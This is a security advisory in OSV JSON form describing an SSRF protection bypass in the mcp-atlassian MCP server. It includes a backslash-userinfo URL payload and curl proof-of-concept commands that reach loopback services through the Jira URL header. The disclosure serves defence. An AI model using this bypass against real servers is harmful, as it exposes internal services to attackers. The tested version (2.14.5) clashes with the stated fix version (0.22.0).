CVE-2026-77274: MCP Atlassian SSRF Protection Bypass Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hgcf-4mq8-5266",
  "modified" : "2026-09-22T20:36:22Z",
  "published" : "2026-09-22T20:36:22Z",
  "aliases" : [ "CVE-2026-77274" ],
  "summary" : "MCP Atlassian: SSRF Protection Bypass",
  "details" : "## Environment\n\n- Project: `sooperset/mcp-atlassian`\n- Affected function: `validate_url_for_ssrf()`\n- Affected path: header-based Jira/Confluence URL authentication flow\n- Tested endpoint: `POST /mcp`\n- Tested version: `2.14.5`\n\n## Description\n\nThe SSRF protection in `validate_url_for_ssrf()` can be bypassed with a URL containing a backslash before userinfo-like syntax.\n\nAffected code:\n\n```python\nparsed = urlparse(url)\nhostname = parsed.hostname\n...\nip_error = _check_ip_address(hostname)\n...\ndns_error = _check_dns_resolution(hostname)\n```\n\nPayload:\n\n```text\nhttp://127.0.0.1:6666\\@www.baidu.com\n```\n\nFor this input, `urllib.parse.urlparse()` treats the hostname as:\n\n```text\nwww.baidu.com\n```\n\nTherefore, `validate_url_for_ssrf()` validates `www.baidu.com` instead of `127.0.0.1`. However, the downstream request made through the Atlassian client / `requests.Session` reaches the local service:\n\n```text\nhttp://127.0.0.1:6666/%5C@www.baidu.com/rest/api/2/myself\n```\n\nThis allows an attacker-controlled Jira URL to target loopback or internal services.\n\n## Proof of Concept\n\nStart a local HTTP server:\n\n```bash\npython3 -m http.server 6666 --bind 127.0.0.1\n```\n\nStart `mcp-atlassian` with streamable HTTP transport on port `9000`.\n\nInitialize an MCP session with the malicious Jira URL:\n\n```bash\ncurl -i http://127.0.0.1:9000/mcp \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json, text/event-stream' \\\n  -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\\@www.baidu.com' \\\n  -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \\\n  --data '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2025-06-18\",\"capabilities\":{},\"clientInfo\":{\"name\":\"ssrf-test\",\"version\":\"0.1\"}}}'\n```\n\nSend the initialized notification using the returned `Mcp-Session-Id`:\n\n```bash\ncurl -i http://127.0.0.1:9000/mcp \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json, text/event-stream' \\\n  -H 'mcp-session-id: <SESSION_ID>' \\\n  -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\\@www.baidu.com' \\\n  -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \\\n  --data '{\"jsonrpc\":\"2.0\",\"method\":\"notifications/initialized\"}'\n```\n\nTrigger Jira fetcher creation and token validation:\n\n```bash\ncurl -i http://127.0.0.1:9000/mcp \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json, text/event-stream' \\\n  -H 'mcp-session-id: <SESSION_ID>' \\\n  -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\\@www.baidu.com' \\\n  -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \\\n  --data '{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"jira_get_issue\",\"arguments\":{\"issue_key\":\"TEST-1\"}}}'\n```\n\nObserved response:\n\n<img width=\"1505\" height=\"442\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f98a2ad6-8bc2-453c-9ef8-481dd991bc8e\" />\n\nThe local HTTP server also receives the request, confirming SSRF.\n\n<img width=\"891\" height=\"131\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3bbeb142-2aae-4d1d-ae65-7f57015325c6\" />\n\n## Root Cause\n\nThe security validation and the actual HTTP request do not use the same URL interpretation.\n\n- `validate_url_for_ssrf()` uses `urllib.parse.urlparse()` and validates `parsed.hostname`.\n- For the payload, `parsed.hostname` is `www.baidu.com`.\n- The actual request is sent by the Atlassian client through `requests.Session`.\n- `requests` treats the target as `127.0.0.1:6666` and percent-encodes the backslash into the request path.\n\nThis parser mismatch allows a restricted host to be hidden before `\\@`.\n\n## Impact\n\nAn attacker who can provide `X-Atlassian-Jira-Url` or `X-Atlassian-Confluence-Url` may force the server to send requests to loopback or internal services despite SSRF validation.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "mcp-atlassian"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.22.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-hgcf-4mq8-5266"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-77274"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sooperset/mcp-atlassian/pull/1448"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/sooperset/mcp-atlassian"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-22T20:36:22Z",
    "nvd_published_at" : "2026-09-22T18:17:19Z"
  }
}